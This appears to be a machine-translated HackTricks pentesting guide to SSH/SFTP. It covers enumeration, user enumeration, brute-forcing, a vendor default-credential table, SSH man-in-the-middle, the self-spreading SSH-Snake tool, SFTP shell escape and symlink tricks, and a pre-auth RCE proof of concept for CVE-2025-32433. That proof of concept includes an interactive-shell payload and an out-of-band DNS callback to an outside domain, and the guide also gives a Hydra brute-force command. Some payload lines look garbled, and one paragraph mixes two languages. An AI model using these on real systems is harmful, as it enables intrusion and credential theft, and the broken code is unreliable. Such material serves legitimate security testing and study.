22 - Pentesting SSH/SFTP

Reading time: 21 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

SSH (安全外壳或安全套接字外壳) 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。

默认端口: 22

22/tcp open  ssh     syn-ack

SSH 服务器:

  • openSSH – OpenBSD SSH,自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供
  • Dropbear – 适用于内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中
  • PuTTY – 适用于 Windows 的 SSH 实现,客户端常用,但服务器使用较少
  • CopSSH – Windows 的 OpenSSH 实现

SSH 库(实现服务器端):

  • libssh – 多平台 C 库,实现 SSHv2 协议,支持 PythonPerlR 的绑定;KDE 用于 sftp,GitHub 用于 git SSH 基础设施
  • wolfSSH – 用 ANSI C 编写的 SSHv2 服务器库,针对嵌入式、RTOS 和资源受限环境
  • Apache MINA SSHD – 基于 Apache MINA 的 Apache SSHD Java 库
  • paramiko – Python SSHv2 协议库

枚举

横幅抓取

bash
nc -vn <IP> 22

自动化 ssh-audit

ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。

https://github.com/jtesta/ssh-audit 是一个来自 https://github.com/arthepsy/ssh-audit/ 的更新分支

特点:

  • 支持 SSH1 和 SSH2 协议服务器;
  • 分析 SSH 客户端配置;
  • 抓取横幅,识别设备或软件和操作系统,检测压缩;
  • 收集密钥交换、主机密钥、加密和消息认证码算法;
  • 输出算法信息(可用自、已移除/禁用、不安全/弱/遗留等);
  • 输出算法建议(根据识别的软件版本添加或移除);
  • 输出安全信息(相关问题、分配的 CVE 列表等);
  • 根据算法信息分析 SSH 版本兼容性;
  • 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息;
  • 在 Linux 和 Windows 上运行;
  • 无依赖
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

查看实际操作 (Asciinema)

服务器的公共 SSH 密钥

bash
ssh-keyscan -t rsa <IP> -p <PORT>

弱加密算法

这可以通过 nmap 默认发现。但你也可以使用 sslcansslyze

Nmap 脚本

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

暴力破解用户名、密码和私钥

用户名枚举

在某些版本的 OpenSSH 中,您可以进行时间攻击以枚举用户。您可以使用 metasploit 模块来利用这一点:

msf> use scanner/ssh/ssh_enumusers

暴力破解

一些常见的 ssh 凭据 在这里在这里 以及下面。

私钥暴力破解

如果你知道一些可以使用的 ssh 私钥... 那就试试吧。你可以使用 nmap 脚本:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

或 MSF 辅助模块:

msf> use scanner/ssh/ssh_identify_pubkeys

或使用 ssh-keybrute.py(原生 python3,轻量且启用了遗留算法):snowdroppe/ssh-keybrute

已知的坏密钥可以在这里找到:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

弱 SSH 密钥 / Debian 可预测的 PRNG

某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:g0tmi1k/debian-ssh

您应该在这里查找受害者机器的有效密钥。

Kerberos

crackmapexec 使用 ssh 协议可以使用选项 --kerberos通过 kerberos 进行身份验证
有关更多信息,请运行 crackmapexec ssh --help

默认凭据

供应商用户名密码
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

如果您在本地网络中,作为即将使用用户名和密码连接到 SSH 服务器的受害者,您可以尝试 执行 MitM 攻击以窃取这些凭据:

攻击路径:

  • 流量重定向: 攻击者 转移 受害者的流量到他们的机器,有效地 拦截 连接尝试到 SSH 服务器。
  • 拦截和记录: 攻击者的机器充当 代理,通过假装是合法的 SSH 服务器来 捕获 用户的登录信息。
  • 命令执行和转发: 最后,攻击者的服务器 记录用户的凭据将命令转发 到真实的 SSH 服务器,执行 它们,并 将结果发送回 用户,使过程看起来无缝且合法。

SSH MITM 正是如上所述的功能。

为了捕获实际的 MitM,您可以使用 ARP 欺骗、DNS 欺骗或在 网络欺骗攻击 中描述的其他技术。

SSH-Snake

如果您想使用在系统上发现的 SSH 私钥遍历网络,利用每个系统上的每个私钥连接到新主机,那么 SSH-Snake 是您所需要的。

SSH-Snake 自动且递归地执行以下任务:

  1. 在当前系统上,查找任何 SSH 私钥,
  2. 在当前系统上,查找任何可能接受私钥的主机或目标(user@host),
  3. 尝试使用所有发现的私钥 SSH 连接到所有目标,
  4. 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4。

它是完全自我复制和自我传播的——并且完全无文件。

配置错误

根登录

SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。禁用根登录 是保护服务器的关键步骤。通过进行此更改,可以减轻未经授权的管理权限访问和暴力攻击的风险。

在 OpenSSH 中禁用根登录:

  1. 使用以下命令 编辑 SSH 配置文件sudoedit /etc/ssh/sshd_config
  2. 将设置从 #PermitRootLogin yes 更改为 PermitRootLogin no
  3. 使用以下命令 重新加载配置sudo systemctl daemon-reload
  4. 重启 SSH 服务器 以应用更改: sudo systemctl restart sshd

SFTP 暴力破解

SFTP 命令执行

在 SFTP 设置中常见的一个疏忽是,管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell(例如 /usr/bin/nologin)并将其限制在特定目录中,但仍然存在安全漏洞。用户可以通过在登录后立即请求执行命令(如 /bin/bash)来规避这些限制,在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行,破坏了预期的安全措施。

来自这里的示例:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以下是用户 noraj 的安全 SFTP 配置示例 (/etc/ssh/sshd_config – openSSH):

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

此配置将仅允许 SFTP:通过强制启动命令并禁用 TTY 访问来禁用 shell 访问,同时还禁用所有类型的端口转发或隧道。

SFTP 隧道

如果您可以访问 SFTP 服务器,您还可以通过此方式隧道您的流量,例如使用常见的端口转发:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

The sftp have the command "symlink". Therefore, if you have 可写权限 in some folder, you can create symlinks of 其他文件夹/文件. As you are probably 被困 inside a chroot this 对你来说不会特别有用, but, if you can 访问 the created symlink from a 非 chroot 服务 (for example, if you can access the symlink from the web), you could 通过网络打开 symlinked 文件.

For example, to create a symlink from a new file "froot" to "/":

bash
sftp> symlink / froot

如果您可以通过网络访问文件 "froot",您将能够列出系统的根 ("/") 文件夹。

认证方法

在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 publickey 并将其设置为默认方法,但没有禁用 password。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到启用了较弱的方法:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

例如,如果设置了身份验证失败限制,并且您从未有机会达到密码方法,则可以使用 PreferredAuthentications 选项强制使用此方法。

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

检查SSH服务器配置是必要的,以确保仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。

配置文件

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

身份验证状态机绕过(预认证 RCE)

一些 SSH 服务器实现包含逻辑缺陷,在 身份验证有限状态机 中允许客户端在身份验证完成 之前 发送 连接协议 消息。由于服务器未能验证其处于正确状态,这些消息被处理得好像用户已完全通过身份验证,从而导致 未认证的代码执行 或会话创建。

在协议层面,任何 消息代码 ≥ 80 (0x50) 的 SSH 消息属于 连接 层 (RFC 4254),并且必须 仅在成功身份验证后接受 (RFC 4252)。如果服务器在仍处于 SSH_AUTHENTICATION 状态时处理其中一条消息,攻击者可以立即创建通道并请求执行命令、端口转发等操作。

通用利用步骤

  1. 建立与目标 SSH 端口的 TCP 连接(通常为 22,但其他服务可能在 2022、830、2222 等端口上暴露 Erlang/OTP)。
  2. 构造一个原始 SSH 数据包:
  • 4 字节 packet_length(大端)
  • 1 字节 message_code ≥ 80(例如 SSH_MSG_CHANNEL_OPEN = 90,SSH_MSG_CHANNEL_REQUEST = 98)
  • 负载将被所选消息类型理解
  1. 完成任何身份验证步骤之前 发送数据包。
  2. 与现在暴露的 预认证 服务器 API 进行交互(命令执行、端口转发、文件系统访问等)。

Python 概念验证大纲:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

在实践中,您需要根据目标实现执行(或跳过)密钥交换,但从未执行身份验证


Erlang/OTP sshd (CVE-2025-32433)

  • 受影响版本: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • 根本原因: Erlang 原生 SSH 守护进程在调用 ssh_connection:handle_msg/2 之前未验证当前状态。因此,任何消息代码为 80-255 的数据包在会话仍处于 userauth 状态时到达连接处理程序。
  • 影响: 未经身份验证的 远程代码执行(守护进程通常以 root 身份在嵌入式/OT 设备上运行)。

示例有效负载,生成绑定到攻击者控制通道的反向 shell:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

盲目 RCE / 异带检测可以通过 DNS 执行:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

检测与缓解:

  • 检查 SSH 流量:丢弃任何在身份验证之前观察到的消息代码 ≥ 80 的数据包
  • 将 Erlang/OTP 升级到 27.3.3 / 26.2.5.11 / 25.3.2.20 或更新版本。
  • 限制管理端口(22/2022/830/2222)的暴露,尤其是在 OT 设备上。

受影响的其他实现

  • libssh 0.6 – 0.8(服务器端) – CVE-2018-10933 – 接受客户端发送的未经身份验证的 SSH_MSG_USERAUTH_SUCCESS,实际上是反向逻辑缺陷。

共同的教训是,任何偏离 RFC 规定的状态转换都可能是致命的;在审查或模糊测试 SSH 守护进程时,特别注意 状态机执行

参考文献

HackTricks 自动命令

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks